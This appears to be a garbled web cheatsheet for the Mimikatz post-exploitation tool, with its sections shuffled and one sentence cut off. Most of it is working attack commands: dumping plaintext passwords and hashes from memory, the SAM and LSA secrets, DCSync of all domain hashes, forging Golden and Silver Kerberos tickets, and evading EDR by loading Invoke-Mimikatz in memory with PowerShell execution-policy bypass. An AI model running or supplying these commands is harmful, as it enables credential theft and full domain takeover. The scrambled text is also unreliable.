Mimikatz Cheatsheet [SAFE]

| Command | Result | | :--- | :--- | | lsadump::dcsync /user:Administrator | Get hash of a specific user without touching LSASS. | | lsadump::dcsync /all | Dump domain user hash. This is catastrophic for the blue team. | 4. Kerberos Attacks (Golden & Silver Tickets) | Command | Use Case | | :--- | :--- | | kerberos::golden /user:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /id:500 /ptt | Create a Golden Ticket (krbtgt hash required). Grants unlimited domain access . | | kerberos::golden /user:USER /domain:DOMAIN /sid:SID /target:TARGET /rc4:HASH /service:cifs /ptt | Create a Silver Ticket (service account hash required). | | kerberos::purge | Clear existing Kerberos tickets before injection. | Phase 3: Advanced Evasion & Living off the Land Because modern EDR kills mimikatz.exe , use these techniques: Technique A: Non-Exported Output # Log output to a file instead of printing to screen mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> C:\temp\log.txt Technique B: Reflective Loading (PowerShell) Load Mimikatz directly into memory without touching disk.

Mimikatz is arguably the most powerful and infamous post-exploitation tool ever created. Developed by Benjamin Delpy (@gentilkiwi), it allows security professionals to extract plaintext passwords, hashes, PINs, and Kerberos tickets directly from Windows memory. mimikatz cheatsheet

# Using Invoke-Mimikatz (from PowerSploit) powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"' Save commands to a .txt file and execute silently. | Command | Result | | :--- |

| Command | Purpose | | :--- | :--- | | lsadump::sam | Dumps local SAM hashes (NTLM) from the registry. | | lsadump::sam /sam:FILE /system:FILE | Dump SAM from saved hive files (offline). | | lsadump::secrets | Dumps secrets from the SECURITY registry (e.g., cached domain logons). | Simulate a domain controller to request password hashes for any user. cached domain logons).

However, with great power comes great responsibility. This cheatsheet is strictly for . ⚠️ Warning: Modern Antivirus (AV) and Endpoint Detection & Response (EDR) aggressively flag Mimikatz. You will rarely run the vanilla .exe on a live engagement today. Phase 1: Loading & Privilege Escalation Before running any commands, you must load Mimikatz and gain the necessary rights.